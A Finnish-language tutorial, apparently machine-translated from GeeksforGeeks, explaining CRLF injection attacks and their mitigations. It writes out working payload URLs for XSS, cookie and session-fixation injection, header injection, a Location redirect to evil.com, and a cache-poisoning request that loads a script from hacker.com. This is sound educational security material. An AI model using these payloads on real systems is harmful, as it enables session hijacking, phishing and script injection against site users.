GeeksforGeeks

CRLF on lyhenne, jota käytetään viittaamaan Carriage Return (\r) Line Feed (\n). Kuten suluissa olevista symboleista voi huomata, ” Carriage Return ”viittaa rivin loppuun ja” Line Feed ” uuteen riviin. Näin ollen sekä CR ja LF käytetään kuvaamaan päätepiste linjan. Kun käyttäjä pyytää sisältöä verkkosivuilla, palvelin palauttaa sivuston sisällön yhdessä HTTP otsikot. Otsakkeet ja sisältö erotetaan toisistaan CR: n ja LF: n määritellyllä yhdistelmällä. CRLF: n ansiosta palvelin tietää, missä uusi otsikko alkaa tai päättyy. Carriage Return Line Feed (CRLF) Injection-haavoittuvuus on eräänlainen palvelimen puolella injektio, joka tapahtuu, kun hyökkääjä lisää CRLF-merkit syöttökenttään pettääkseen palvelinta uskottelemalla, että objekti on päättynyt ja uusi on alkanut. Tämä tapahtuu, kun web-sovellus ei puhdista käyttäjän syöte CRLF merkkiä. Sillä on keskivahva luokitus (P3 Bugcrowdin VRT: n mukaan).

CRLF: n Pistoshyökkäyksellä on kaksi tärkeintä käyttötapausta:

  • Log splittaus: Hyökkääjä lisää rivinvaihtomerkin ja ylimääräisen rivin, jolla voi väärentää lokitiedostomerkintöjä huijatakseen järjestelmän ylläpitäjiä piilottamalla muita hyökkäyksiä.
  • HTTP-vasteen jakaminen: CRLF-injektiota käytetään HTTP-otsikoiden lisäämiseen HTTP-vasteeseen ja esimerkiksi XSS-hyökkäykseen, joka johtaa tiedon paljastumiseen.

esimerkki:

yksinkertainen GET-pyyntö voidaan muotoilla seuraavasti:

GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1

Huomautus: %0d ja %0A ovat \r: n ja \n: n koodattuja muotoja. Jos verkkosovellus on haavoittuva, hyökkääjä voi asettaa evästeen sivustolle.

CRLF-injektion vaikutukset

CRLF-injektion avulla hyökkääjä voi asettaa väärennettyjä evästeitä, varastaa CSRF-poletteja, paljastaa käyttäjän tietoja pistämällä komentosarjan (XSS) ja suorittaa erilaisia muita hyökkäyksiä. Sen avulla hyökkääjät voivat myös deaktivoida & ohittaa turvatoimet, kuten XSS-suodattimet & Same Origin Policy (SOP), jolloin ne ovat alttiita seuraaville hyökkäyksille:

1. XSS tai Cross Site Scripting
XSS tai Cross Site Scripting on tietoturvahaavoittuvuus, jonka avulla hyökkääjä voi pistää haitallisen JavaScript-koodin verkkosovellukseen. Seuraavat GET pyynnöt on muotoiltu yrittää ketjun CRLF injektio XSS.
Poppaamalla arkaluontoisia käyttäjätietoja sisältävän hälytyksen

www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

poistamalla XSS-suojaus

www.target.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23

2. Cookie Injection
HTTP-vastauksen jakaminen antaa hyökkääjälle mahdollisuuden asettaa haitallisia evästeitä uhrin selaimeen. Useimmissa tapauksissa seuraava GET-pyyntö johtaa 307 uudelleenohjaukseen, ja näin uhri ohjataan target.com & URL ei sisällä Set-Cookie-parametria. Taustalla kuitenkin evästys asetetaan.

www.target.com/%0d%0aSet-Cookie:CRLFInjection=MaliciousCookieSet

3. Tietojenkalasteluhyökkäykset
hyökkääjä voi asettaa Sijainti-otsikon, joka ohjaisi uhrin pahan sivustolle. Tämä sivusto voidaan kehittää näyttämään aivan kohde verkkosivuilla ja kun uhri syöttää tunnuksensa, ne lähetetään hyökkääjä. Paikkaotsikko voidaan asettaa seuraavasti:

GET /%0d%0aLocation:%20https://evil.com HTTP/1.1

4. Session Fixation
samanlainen kuin Cookie Injection attack, tässä hyökkääjä asettaa käyttäjän istuntotunnuksen tiettyyn arvoon. Tämä linkki lähetetään uhrille ja kun uhri kirjautuu sisään tämän istunnon avulla, hyökkääjä voi myös kirjautua sisään käyttämällä samaa istuntotunnusta.

www.target.com/%0d%0aSet-Cookie:session_id=942....

5. HTTP Header Injection
hyökkääjä voi käyttää CRLF-injektiota HTTP-otsikoiden pistämiseen sovellukseen, jotta suojausmekanismit, kuten XSS-suodattimet tai sama-origin-käytäntö, voidaan kumota.

www.target.com/%0d%0aHackersHeader:NewHeader

CORS (Cross Origin Resource Sharing) aktivoivia otsikoita voidaan ruiskuttaa & hyökkääjä voi käyttää JavaScriptiä päästäkseen käsiksi arkaluonteisiin resursseihin, jotka ovat muuten SOP: n (Same Origin Policy) suojaamia, mikä estää eri alkuperää olevia sivustoja pääsemästä toisiinsa.
6. Web-Välimuistimyrkytys
Web-välimuistimyrkytys on tekniikka, jonka vuoksi hyökkääjä voi tarjoilla myrkytettyä sisältöä manipuloimalla web-välimuistia. Jotta tämä ongelma voitaisiin onnistuneesti hyödyntää, hyökkääjän olisi myrkytettävä haavoittuvan verkkosivuston välimuistin välityspalvelin, syndikaattorit, sisällön jakeluverkot (cdns) tai muut välimuistin mekanismit asiakkaan ja palvelimen välillä. Onnistuneen web-välimuistimyrkytyksen jälkeen uhrilla ei ole aavistustakaan välimuistin heille tarjoamasta haitallisesta sisällöstä. Alla on esimerkki siitä, miten hyökkääjä voisi mahdollisesti hyödyntää isäntäotsikon injektiota (käyttäen CRLF: ää) myrkyttämällä web-välimuistin.

seuraavaa pyyntöä varten:

$ telnet www.target.com 80Trying x.x.x.x...Connected to www.target.com.Escape character is '^]'.GET /%0d%0aX-Forwarded-Host:hacker.com HTTP/1.1 //or HostHost: target.com

vaste olisi seuraava:

HTTP/1.1 200 OK
html

<title>Example</title>
<scriptsrc="http://hacker.com/script.js">



muut käyttötapaukset:

1. Väärennetyn HTTP-vasteotsikon pistäminen:

Content-Length: 10

nyt verkkoselain jäsentää vain seuraavat 10 tavua.
2. Väärennetyn HTTP – vasteotsikon pistäminen:

Content-Length: 0

tätä käsitellään päättyneenä vasteena & verkkoselaimet alkavat jäsentää uutta vastausta.

Mitigations:

kehittäjän tulisi pitää mielessä seuraavat asiat CRLF-injektion estämiseksi:

  • käyttäjän syötteen Puhdistus.
  • koodaa CR & LF-merkit (\r, \n) niin, ettei palvelin tunnista niitä edes silloin, kun ne toimitetaan.
  • validoi käyttäjän syöte ennen kuin se saavuttaa vastausotsakkeet (esim.käyttämällä menetelmiä, kuten StringEscapeUtils.escapeJava ()).
  • tarpeeton otsikko tulee poistaa käytöstä.
    seuraava taulukko korostaa CRLF-injektion vakavuutta eri alan standardien mukaan:
Classification ID / Severity
OWASP 2017 A1
CWE 93
CVSS:3.0 CVSS:3.0: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
Bugcrowd VRT P3
Article Tags :

Related Posts

Vastaa

Sähköpostiosoitettasi ei julkaista. Pakolliset kentät on merkitty *